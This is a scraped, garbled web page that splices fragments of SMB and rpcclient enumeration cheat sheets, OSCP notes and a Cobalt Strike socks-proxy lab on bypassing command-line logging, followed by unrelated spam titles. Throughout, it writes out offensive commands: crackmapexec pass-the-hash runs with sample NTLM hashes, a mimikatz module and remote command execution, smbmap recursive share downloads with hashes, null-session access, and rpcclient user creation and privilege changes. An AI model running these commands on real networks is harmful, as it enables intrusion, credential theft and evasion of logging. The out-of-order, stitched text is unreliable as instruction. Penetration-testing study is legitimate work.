With --pw-nt-hash, the pwd provided is the NT hash, #Use --no-pass -c 'recurse;ls' to list recursively with smbclient, #List with smbmap, without folder it list everything. enumforms Enumerate forms ADMIN$ NO ACCESS querydominfo Query domain info debuglevel Set debug level When using querygroupmem, it will reveal information about that group member specific to that particular RID. SeTakeOwnershipPrivilege 0:9 (0x0:0x9) If proper privileges are assigned it also possible to delete a user using the rpcclient. SMB2 Windows Vista SP1 and Windows 2008, crackmapexec -u 'guest' -p '' --shares $ip, crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip, crackmapexec -u 'guest' -p '' --users $ip, crackmapexec smb 192.168.1.0/24 -u Administrator -p, crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution. getprintprocdir Get print processor directory If you want to enumerate all the shares then use netshareenumall. netname: IPC$ [Update 2018-12-02] I just learned about smbmap, which is just great. Common share names for windows targets are, You can try to connect to them by using the following command, # null session to connect to a windows share, # authenticated session to connect to a windows share (you will be prompted for a password), "[+] creating a null session is possible for, # no output if command goes through, thus assuming that a session was created, # echo error message (e.g. Hashes work. It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. | \\[ip]\share: result was NT_STATUS_NONE_MAPPED help Get help on commands {% code-tabs-item title="attacker@cobaltstrike" %}, {% endcode-tabs-item %} This is an enumeration cheat sheet that I created while pursuing the OSCP. | Enumerating Active Directory Using RPCClientInformation about password levels can be found using this MSDN article.https://docs.microsoft.com/en-us/openspecs. In the case of queryusergroups, the group will be enumerated. The tool is written in Perl and is basically . | Anonymous access: As from the previous commands, we saw that it is possible to create a user through rpcclient. Copyright 2017 pentest.tonyng.net. Enum4linux is a Linux alternative to enum.exe and is used to enumerate data from Windows and Samba hosts. There was a Forced Logging off on the Server and other important information. But it is also possible to get the password properties of individual users using the getusrdompwinfo command with the users RID. none Force RPC pipe connections to have no special properties, Lets play with a few options: Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. MAC Address: 00:50:56:XX:XX:XX (VMware) Host is up (0.037s latency). dsenumdomtrusts Enumerate all trusted domains in an AD forest When it was passed as a parameter in the command lookupsids, the attacker was able to know that this belongs to the group Everyone. From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. It has a total of 67 users. SMB2 Windows Vista SP1 and Windows 2008, nmap -n -v -Pn -p139,445 -sV 192.168.0.101, smbclient -L \\$ip --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", # Will list all shares with available permissions, smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1, nmap --script smb-enum-shares -p 139,445 $ip, smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1', smbclient \\\\192.168.1.101\\admin$ -U t-skid, # Connect with valid username and password, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. -S, --signing=on|off|required Set the client signing state These commands can enumerate the users and groups in a domain. 3. if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. getdriverdir Get print driver upload directory In the demonstration, it can be observed that the user has stored their credentials in the Description. lsaenumsid Enumerate the LSA SIDS Using lookupnames we can get the SID. This can be extracted using the lookupnames command used earlier. | Current user access: READ/WRITE Another command to use is the enumdomusers. *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. REG This can be done by providing the Username and Password followed by the target IP address of the server. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about. to access through Web; FTP to file upload ==> Execute from web == webshell ; Password Checking if you found with other enum. Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. This can be verified using the enumdomgroups command. Host script results: Cracking Password. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 IPC$ NO ACCESS SMB enumeration : oscp - Reddit Using rpcclient we can enumerate usernames on those OSs just like a windows OS. | Comment: Default share May need to run a second time for success. Defense Evasion. Workgroup Master [+] IP: [ip]:445 Name: [ip] Disclaimer: These notes are not in the context of any machines I had during the OSCP lab or exam. With some input from the NetSecFocus group, Im building out an SMB enumeration check list here. A Little Guide to SMB Enumeration. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging, https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html, https://github.com/SecureAuthCorp/impacket/tree/master/examples, https://www.cobaltstrike.com/help-socks-proxy-pivoting, https://www.youtube.com/watch?v=l8nkXCOYQC4&index=19&list=WL&t=7s, code execution on a target system and the beacon is calling back to the team server, PID 260 - beacon injected into dllhost process. | References: I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). My #1 SMB tip: if the exploit you're using fails despite the target appearing vulnerable, reset the machine and try again. --usage Display brief usage message, Common samba options: | A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1 Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. getform Get form ECHO rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501 ---- ----------- rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000 null session or valid credentials). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013 result was NT_STATUS_NONE_MAPPED. path: C:\tmp In the demonstration, the user with RID 0x1f4 was enumerated regarding their password properties. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014 Description. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001 netname: ADMIN$ To demonstrate this, the attacker first used the lsaaddpriv command to add the SeCreateTokenPrivielge to the SID and then used the lsadelpriv command to remove that privilege from that group as well. The alias is an alternate name that can be used to reference an object or element. Upon running this on the rpcclient shell, it will extract the groups with their RID. Double pivot works the same, but you create the 2nd ssh tunnel via proxychains and a different dynamic port. offensive security. | VULNERABLE: We have enumerated the users and groups on the domain but not enumerated the domain itself. 1080 - Pentesting Socks. shutdown Remote Shutdown This means that SMB is running with NetBIOS over TCP/IP**. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) Curious to see if there are any "guides" out there that delve into SMB . | References: LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X --------- ------- authentication C$ Disk Default share search type:exploit platform:windows target:2008 smb, domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash, #You can use querydispinfo and enumdomusers to query user information, /usr/share/doc/python3-impacket/examples/samrdump.py, /usr/share/doc/python3-impacket/examples/rpcdump.py, # This info should already being gathered from enum4linux and enum4linux-ng, In file browser window (nautilus, thunar, etc), It is always recommended to look if you can access to anything, if you don't have credentials try using, #If you omit the pwd, it will be prompted. 1. This group constitutes 7 attributes and 2 users are a member of this group. Created with Xmind. Custom wordlist. SANS Penetration Testing | Plundering Windows Account Info via Enumerate Domain Users. *', # download everything recursively in the wwwroot share to /usr/share/smbmap. This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. Thus it might be worth a short to try to manually connect to a share. rpcclient $> lookupnames lewis As with the previous commands, the share enumeration command also comes with the feature to target a specific entity. The tool that we will be using for all the enumerations and manipulations will be rpcclient. Where the output of the magic script needs to be stored? result was NT_STATUS_NONE_MAPPED rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012 Disk Permissions This is an enumeration cheat sheet that I created while pursuing the OSCP. Works well for listing and downloading files, and listing shares and permissions. querygroup Query group info --------------- ---------------------- dfsremove Remove a DFS share S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2) samlogon Sam Logon samdeltas Query Sam Deltas Initial Access. # lines. list List available commands on When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). WORKGROUP <00> - M [DATA] attacking service smb on port 139 Nmap scan report for [ip] In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. dfsgetinfo Query DFS share info remark: IPC Service (Mac OS X) Nice! rpcclient -U "" 192.168.1.100 rpcclient $> querydominfo . The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected. change_trust_pw Change Trust Account Password We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. If you get credentials, you can re-run to show new access: nmap --script smb-enum-shares -p 139,445 [ip].
Uss Grayback Bodies Recovered,
Belleville Police Department,
Articles R